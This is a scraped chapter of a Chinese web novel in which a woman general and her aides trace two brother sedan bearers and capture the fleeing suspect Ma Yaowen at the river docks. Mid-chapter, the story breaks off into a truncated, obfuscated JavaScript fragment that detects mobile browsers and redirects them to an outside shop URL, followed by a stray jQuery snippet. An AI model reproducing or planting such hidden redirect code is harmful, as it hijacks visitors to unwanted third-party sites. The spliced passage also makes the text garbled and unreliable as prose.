文趣网 > 其他小说 > 飞蛾扑火(穿书) > 22. 是时候解开这团死结了
    西边最后一抹橙红的残霞,被逐渐逼近的夜幕蚕食殆尽,几颗明亮的晚星如同夜色的勋章,挂在深蓝的天空上。

    木欣欣坐在窗前,看着天边尽头的最后一点余晖发呆。

    “咚咚”,两声敲门声响起,随后有人从敞开的房门外走进来。

    木欣欣见到来人,眸光一亮又转瞬即逝暗淡下去,她垂着头像是犯了什么错般喃喃道:“吴将军,抱歉,给你们添麻烦了。”

    “这不是你的错,”吴青蛾抽出一张凳子坐到她身边,“身体感觉怎么样?”

    木欣欣垂首摇了摇头:“没什么大碍。”

    吴青蛾:“那天晚上发生的事,能和我说说吗?”

    木欣欣终于将头抬起,略微缓了缓,低声开口。

    那天,她从春风楼出来后就一直蒙着眼,被人带着七拐八拐走了许久,等蒙眼布摘下后,就已身处那间仓库。

    “仓库里只有我和另外一个男人,他没有让我跳舞,只是让我坐到矮几旁同他说话。”

    “都说了些什么?”

    “问我叫什么多大了,来春风楼有多久,都是些寻常的问题,之后我双眼一黑就失去了意识。”

    “你有没有看到那人的长相?”

    木欣欣摇摇头:“他一直坐在屏风后面,我只能听见他说话,是个中年男子的声音。”

    “如果再听到这个声音,你能认出来吗?”

    木欣欣微微颔首:“能。”

    “既如此,”吴青蛾温声开口,“在抓住真凶之前,委屈木姑娘暂时住在县衙。”

    她侧头望了眼窗外沉沉的暮色,站起身:“天色已晚,我就不多叨扰,先行告辞。”说罢,朝木欣欣略一示意,转身走出房间顺手带上了房门。

    从县衙回来之后的两天,吴青蛾哪儿也没去,就待在开宝寺里发呆、逗猫、看小沙弥拿着笤帚一下又一下地扫落叶。

    原本葱茏的枝叶已是半青半黄,被一阵阵秋风吹得簌簌作响,偶尔有一两片叶子打着旋飘下,啪嗒一声坠在人脚边。

    “唉——”

    忽然,两声长叹打破院中的宁静。

    吴青蛾扑哧一笑,托着腮幽幽地问:“净圆小师父在叹什么气?”

    名叫净圆的小沙弥,皱着小眉头,一副喜忧参半的模样:“最近猫儿学会了捉老鼠,连续几日把抓来的老鼠放到我脚边。”

    “猫儿能自力更生,这是好事。”

    “可那些死老鼠被住持师父看到了,住持师父说,猫抓老鼠乃任运天然,可身为出家人不能忘了慈悲之心。让我每日为老鼠抄一遍地藏经,助其超度。”

    净圆抱着比他还要高的扫把,又叹了口气:“但猫儿每天都要抓老鼠吃,我的经不知何时才能抄完。”

    吴青蛾笑道:“经一篇一篇的抄,总能抄完,只怕真到了那一日,小师父会伤心。”

    净圆不解:“吴施主为何这样说?”见她但笑不语,便又问:“施主为何叹气?”

    吴青蛾托着腮:“眼前之结千头万绪,不知该如何下手才好。”

    “阿弥陀佛,”小沙弥双手合十道了声佛号,“经要一篇一篇抄,结亦要一点一点解。”

    “只不过,吴施主在这里发呆,小僧在这里扫地,空说无用,还是立刻去做才好。”说完,他放下笤帚跑向僧寮。

    一旁的吴竞瞅着两人在这儿打机锋,实在看不下去,走到人身边:“三姐,案子不查了吗?”

    吴青蛾:“谁说我不查了?”

    “那你这两日,连这庙的门槛都没迈出去过。”

    吴青蛾神秘兮兮的冲他一摇手指:“你不知道,我在等。”

    “等啥?”吴竞听得稀里糊涂,“难不成线索还能从天上掉下来?”

    “怎么不能,”她眉梢一挑,“你瞧,那不就来了吗?”

    吴竞顺着她手指的方向一看,刘起踏着满地错落的树影从院门外走来。

    “老刘!”他大步迎上去猛地一拍刘起的肩膀,把人拍得身形一歪,“你这几天跑哪儿去了?”

    等看清他身后的来人,吴竞表情一怔:“周蝉怎么也在?”

    “还有我。”

    林巧兰从周蝉背后跳出:“小姐放心,府里的事我都安排好了,不会耽误正事的。”

    “你们怎么……”吴竞这下彻底糊涂了。

    “小将军,”刘起走到吴青蛾面前作了一揖,“查到了。”

    吴青蛾站起身一拍衣摆上的土:“走,进屋说。”

    厢房内,周蝉将记录下的信息递给吴青蛾:“那两名轿夫,其中一个叫李虎,住在城南,平常混迹于赌坊。”

    “据赌坊的人说,他平日里游手好闲,没什么正经的营生,但每次下注赌注极高,而且借了庄家的钱,转天就能还上。”

    “另外,我们还在他家中发现了这个。”说着,周蝉把一张纸铺在桌面上。

    “银票?”

    “我了个乖乖,”吴竞定睛一瞧,目瞪口呆,“五百两!他一个轿夫哪来那么多银子!”

    这些天可算是让他开了眼,这些人怎么一个二个都那么有钱。

    “恐怕不止是轿夫那么简单。”吴青蛾问,“另一个呢?”

    “另一个轿夫我们查了许久,还是从一家裁缝铺找到的线索。”

    “裁缝铺?”

    站在一旁的林巧兰邀功道:“线索还是我发现的呢。”

    “没错,”周蝉笑道,“巧兰发现这个轿夫的衣服有缝补的痕迹,于是我们一家一家去查,终于一家城北裁缝铺的老板认出这件衣服,说人就住在附近巷子里。”

    “我们随后查出,此人名叫李豹,一年前来的夷门,平日深居简出,从不与人交际。”

    吴青蛾:“这两人有没有亲眷在?”

    周蝉摇头:“但据赌坊的一个人说,和李虎喝酒时听他提及自己有个兄弟,虽相隔不远,但不能经常来往。”

    “还有,这二人路引上进城的印戳是同一天。”

    “李虎,李豹……”

    吴竞惊觉:“这两人是兄弟!”

    “没错,可这也是疑点所在,”周蝉道,“既是兄弟为什么躲着不相见。”

    吴青蛾:“马耀文那边呢?”

    周蝉:“我留了两人在那里守着,目前还没有消息。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17820431|210850||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >听了这一番话,吴竞终于明白过来:“三姐,原来你让老刘搬救兵去了。”

    吴青蛾:“这事知道的人越少越好,否则惊动了凶手,我们就得不偿失了。”

    正说着,门外又有一人行色匆匆走来:“小将军,我们带着仓库老板在马家门外蹲守了两日,那老板认出,租仓库的人正是马家的护院。”

    “他确定?”

    “确定,那人虽然剃了胡子,但老板还是一眼将他认出。”

    吴青蛾一敲桌子站起身:“走吧,是时候解开这团死结了。”

    她带着人直扑马家宅院,却见大门敞开,前院里停着辆马车,里里外外找了一圈,只找到在账房里记账的管家。

    “马耀文呢?”

    管家见到她一时错愕,慌忙搁下笔行礼:“老爷去布庄了。”

    吴青蛾转身欲走,脚下却蓦地一顿。

    “宅中有几辆马车?”

    冷不丁这么一问,管家反应慢了半拍:“一、一辆。”

    “糟了!”

    他要跑!

    吴青蛾拔足飞奔向门外——

    “青羽卫听令!”

    “在!”

    “一队看守宅院,不许任何人进出,其余人跟我去码头!”

    “三姐,”吴竞紧随其后,“不去城门吗?”

    “他要逃,走水路更快。”

    一行人半点不敢耽搁,马不停蹄赶到码头,寻遍了码头上的商船客船,却不见马耀文的影子。

    犹疑之际,一个眼尖的兵士指向河面:“在那!”

    只见宽阔的河面上,马耀文坐在一艘渔划子的船头,正催促着船家摇橹,船已经行出了半里之遥。

    “快停船——!”吴竞挥舞着手站在河边大喊。

    船家回头望向岸边,原本坐在船头的马耀文突然从腰间抽出一把长刀,抵在他身上:“快划!不然要你的命!”

    船夫摇了几下橹,趁其不备径直跳入河中,游向岸边。

    “呸!”马耀文狠狠啐了一口,扔下刀一把抓过船桨拼命向前划,眼看船就要到河心消失在视线中。

    ——嗖!

    一支利箭破空而出正中摇船的手臂,马耀文吃痛向后一倒,直直栽入河中。

    “阿竞!”

    惊呼之下,吴竞丢下弓箭一个猛子扎入河中,掀起的水花如浪里蛟龙,瞬息之间游到正在水里扑腾的马耀文身边,拽住他衣领,一鼓作气游到岸边把人拖回岸上。

    马耀文“哇”一下连呕出几口浑黄的河水,坐在地上喘着粗气,手捂着被箭矢射穿的胳膊,脸上早已没了往日的爽朗,面色狰狞地恶狠狠盯着众人。

    吴青蛾冷声道:“把他押回县衙。”

    一声令下,两个青羽卫的兵士上前五花大绑,将人押解回去。

    “怎么样?”吴青蛾走到吴竞身边关切问。

    只见他像小狗一样一甩湿漉漉的头发:“这有什么,就算再有十个马耀文,我也能捞上来。”刚说完,就被河边的一阵冷风吹得连打两个喷嚏。

    “逞什么能,”吴青蛾一掌拍在他脑袋上,提溜起人,“赶紧换衣服去!”